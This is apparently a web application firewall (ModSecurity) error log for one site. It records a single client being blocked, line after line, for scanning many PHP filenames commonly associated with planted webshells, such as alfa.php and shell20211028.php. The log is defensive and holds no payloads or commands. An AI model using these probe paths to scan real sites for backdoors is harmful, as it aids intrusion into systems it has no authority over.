[Sat Dec 06 20:16:07.837619 2025] [:error] [pid 35591:tid 35611] [client 4.147.185.30:60800] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTQeh4bmw-7bFvTxc9MafQAAARI"]
[Sat Dec 06 20:16:07.893237 2025] [:error] [pid 35622:tid 35672] [client 4.147.185.30:60843] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTQehyOSP_9DVLgFwI7CZwAAAZU"]
[Sat Dec 06 20:16:07.976043 2025] [:error] [pid 61215:tid 61228] [client 4.147.185.30:9232] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geju.php"] [unique_id "aTQeh-OOZ8nTCBYuI-xM6AAAAAk"]
[Sat Dec 06 20:16:08.096812 2025] [:error] [pid 35622:tid 35666] [client 4.147.185.30:9654] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geju.php"] [unique_id "aTQeiCOSP_9DVLgFwI7CaAAAAY8"]
[Sat Dec 06 20:16:08.135157 2025] [:error] [pid 61303:tid 61314] [client 4.147.185.30:64914] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geju.php"] [unique_id "aTQeiNwK_fe00OH7zy6akwAAAMg"]
[Sat Dec 06 20:16:08.184612 2025] [:error] [pid 61216:tid 61249] [client 4.147.185.30:64058] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geju.php"] [unique_id "aTQeiDHlXXVdP5ewviUkUQAAAEM"]
[Sat Dec 06 20:16:08.274966 2025] [:error] [pid 35622:tid 35651] [client 4.147.185.30:64019] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aTQeiCOSP_9DVLgFwI7CaQAAAYA"]
[Sat Dec 06 20:16:08.451199 2025] [:error] [pid 35591:tid 35612] [client 4.147.185.30:64013] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aTQeiIbmw-7bFvTxc9MagAAAARM"]
[Sat Dec 06 20:16:08.496519 2025] [:error] [pid 61303:tid 61331] [client 4.147.185.30:60848] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aTQeiNwK_fe00OH7zy6alAAAANg"]
[Sat Dec 06 20:16:08.584232 2025] [:error] [pid 52809:tid 52813] [client 4.147.185.30:9652] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aTQeiOrRwgsmpIJQ2qZ-yQAAAgI"]
[Sat Dec 06 20:16:08.664635 2025] [:error] [pid 1838:tid 1864] [client 4.147.185.30:64003] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aTQeiC5zgnu67Yo7vrYU-wAAApI"]
[Sat Dec 06 20:16:08.715672 2025] [:error] [pid 48399:tid 48409] [client 4.147.185.30:64919] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aTQeiOjNPOrIshd8Ewe9RQAAAcg"]
[Sat Dec 06 20:16:08.801648 2025] [:error] [pid 35622:tid 35662] [client 4.147.185.30:60845] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aTQeiCOSP_9DVLgFwI7CagAAAYs"]
[Sat Dec 06 20:16:08.901163 2025] [:error] [pid 35622:tid 35658] [client 4.147.185.30:60852] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aTQeiCOSP_9DVLgFwI7CawAAAYc"]
[Sat Dec 06 20:16:08.955795 2025] [:error] [pid 61303:tid 61315] [client 4.147.185.30:9609] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aTQeiNwK_fe00OH7zy6alwAAAMk"]
[Sat Dec 06 20:16:08.998174 2025] [:error] [pid 61303:tid 61307] [client 4.147.185.30:64545] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aTQeiNwK_fe00OH7zy6amAAAAME"]
[Sat Dec 06 20:16:09.070609 2025] [:error] [pid 52809:tid 52819] [client 4.147.185.30:9621] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aTQeierRwgsmpIJQ2qZ-ygAAAgg"]
[Sat Dec 06 20:16:09.116028 2025] [:error] [pid 52809:tid 52814] [client 4.147.185.30:64024] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aTQeierRwgsmpIJQ2qZ-ywAAAgM"]
[Sat Dec 06 20:16:09.266306 2025] [:error] [pid 52809:tid 52817] [client 4.147.185.30:9218] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aTQeierRwgsmpIJQ2qZ-zAAAAgY"]
[Sat Dec 06 20:16:09.330606 2025] [:error] [pid 1727:tid 1751] [client 4.147.185.30:9643] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aTQeicD83luYT37-ZaUN9AAAAlY"]
[Sat Dec 06 20:16:09.393296 2025] [:error] [pid 1838:tid 1854] [client 4.147.185.30:64916] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aTQeiS5zgnu67Yo7vrYU_AAAAog"]
[Sat Dec 06 20:16:09.571731 2025] [:error] [pid 35591:tid 35609] [client 4.147.185.30:60832] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aTQeiYbmw-7bFvTxc9MahQAAARA"]
[Sat Dec 06 20:16:09.849001 2025] [:error] [pid 1838:tid 1861] [client 4.147.185.30:9222] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aTQeiS5zgnu67Yo7vrYU_QAAAo8"]
[Sat Dec 06 20:16:10.080900 2025] [:error] [pid 1838:tid 1870] [client 4.147.185.30:64031] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aTQeii5zgnu67Yo7vrYU_gAAApg"]
[Sat Dec 06 20:16:10.114190 2025] [:error] [pid 1838:tid 1848] [client 4.147.185.30:9637] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aTQeii5zgnu67Yo7vrYU_wAAAoI"]
[Sat Dec 06 20:16:10.154481 2025] [:error] [pid 1838:tid 1846] [client 4.147.185.30:64936] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aTQeii5zgnu67Yo7vrYVAAAAAoA"]
[Sat Dec 06 20:16:10.192346 2025] [:error] [pid 1838:tid 1851] [client 4.147.185.30:9612] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aTQeii5zgnu67Yo7vrYVAQAAAoU"]
[Sat Dec 06 20:16:10.228817 2025] [:error] [pid 61303:tid 61324] [client 4.147.185.30:9231] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aTQeitwK_fe00OH7zy6amwAAANE"]
[Sat Dec 06 20:16:10.263138 2025] [:error] [pid 61215:tid 61222] [client 4.147.185.30:64548] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aTQeiuOOZ8nTCBYuI-xM6gAAAAM"]
[Sat Dec 06 20:16:10.299210 2025] [:error] [pid 52809:tid 52820] [client 4.147.185.30:64059] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aTQeiurRwgsmpIJQ2qZ-zQAAAgk"]
[Sat Dec 06 20:16:10.339340 2025] [:error] [pid 61215:tid 61233] [client 4.147.185.30:9641] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aTQeiuOOZ8nTCBYuI-xM7AAAAA4"]
[Sat Dec 06 20:16:10.431868 2025] [:error] [pid 61215:tid 61240] [client 4.147.185.30:64041] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aTQeiuOOZ8nTCBYuI-xM7QAAABU"]
[Sat Dec 06 20:16:10.534508 2025] [:error] [pid 52809:tid 52829] [client 4.147.185.30:9265] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aTQeiurRwgsmpIJQ2qZ-zgAAAhI"]
[Sat Dec 06 20:16:10.574141 2025] [:error] [pid 61303:tid 61312] [client 4.147.185.30:9226] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aTQeitwK_fe00OH7zy6anAAAAMY"]
[Sat Dec 06 20:16:10.641915 2025] [:error] [pid 61303:tid 61311] [client 4.147.185.30:64042] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aTQeitwK_fe00OH7zy6anQAAAMU"]
[Sat Dec 06 20:16:10.733828 2025] [:error] [pid 61303:tid 61317] [client 4.147.185.30:9242] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aTQeitwK_fe00OH7zy6angAAAMs"]
[Sat Dec 06 20:16:10.810948 2025] [:error] [pid 61303:tid 61309] [client 4.147.185.30:64004] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aTQeitwK_fe00OH7zy6anwAAAMM"]
[Sat Dec 06 20:16:10.949282 2025] [:error] [pid 61303:tid 61321] [client 4.147.185.30:60857] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloud.php"] [unique_id "aTQeitwK_fe00OH7zy6aoAAAAM4"]
[Sat Dec 06 20:16:11.204484 2025] [:error] [pid 61303:tid 61325] [client 4.147.185.30:9619] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aTQei9wK_fe00OH7zy6aogAAANI"]
[Sat Dec 06 20:16:11.341436 2025] [:error] [pid 61303:tid 61326] [client 4.147.185.30:9432] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aTQei9wK_fe00OH7zy6aowAAANM"]
[Sat Dec 06 20:16:11.435597 2025] [:error] [pid 61217:tid 61287] [client 4.147.185.30:9634] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aTQei1dSKQYfLI3fYo6G2AAAAI4"]
[Sat Dec 06 20:16:11.497655 2025] [:error] [pid 61303:tid 61306] [client 4.147.185.30:64900] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aTQei9wK_fe00OH7zy6apAAAAMA"]
[Sat Dec 06 20:16:11.555248 2025] [:error] [pid 52809:tid 52833] [client 4.147.185.30:64033] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTQei-rRwgsmpIJQ2qZ-zwAAAhY"]
[Sat Dec 06 20:16:11.591934 2025] [:error] [pid 61217:tid 61292] [client 4.147.185.30:9658] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTQei1dSKQYfLI3fYo6G2QAAAJM"]
[Sat Dec 06 20:16:11.629510 2025] [:error] [pid 52809:tid 52834] [client 4.147.185.30:64008] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTQei-rRwgsmpIJQ2qZ-0AAAAhc"]
[Sat Dec 06 20:16:11.664092 2025] [:error] [pid 61217:tid 61286] [client 4.147.185.30:64048] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTQei1dSKQYfLI3fYo6G2gAAAI0"]
[Sat Dec 06 20:16:11.697065 2025] [:error] [pid 52809:tid 52812] [client 4.147.185.30:64561] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTQei-rRwgsmpIJQ2qZ-0QAAAgE"]
[Sat Dec 06 20:16:11.743133 2025] [:error] [pid 61217:tid 61284] [client 4.147.185.30:9413] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTQei1dSKQYfLI3fYo6G3AAAAIs"]
[Sat Dec 06 20:16:11.781351 2025] [:error] [pid 35622:tid 35652] [client 4.147.185.30:64027] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTQeiyOSP_9DVLgFwI7CbAAAAYE"]
[Sat Dec 06 20:16:11.830637 2025] [:error] [pid 48399:tid 48402] [client 4.147.185.30:60837] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTQei-jNPOrIshd8Ewe9RgAAAcE"]
[Sat Dec 06 20:16:11.927408 2025] [:error] [pid 61217:tid 61279] [client 4.147.185.30:9639] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aTQei1dSKQYfLI3fYo6G3QAAAIY"]
[Sat Dec 06 20:16:12.190363 2025] [:error] [pid 1727:tid 1750] [client 4.147.185.30:60854] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aTQejMD83luYT37-ZaUN9gAAAlU"]
[Sat Dec 06 20:16:12.233520 2025] [:error] [pid 1838:tid 1847] [client 4.147.185.30:64913] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aTQejC5zgnu67Yo7vrYVAwAAAoE"]
[Sat Dec 06 20:16:12.270966 2025] [:error] [pid 61215:tid 61227] [client 4.147.185.30:64025] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aTQejOOOZ8nTCBYuI-xM7wAAAAg"]
[Sat Dec 06 20:16:12.307853 2025] [:error] [pid 61303:tid 61323] [client 4.147.185.30:9635] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTQejNwK_fe00OH7zy6apQAAANA"]
[Sat Dec 06 20:16:12.377632 2025] [:error] [pid 61303:tid 61329] [client 4.147.185.30:64039] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTQejNwK_fe00OH7zy6apgAAANY"]
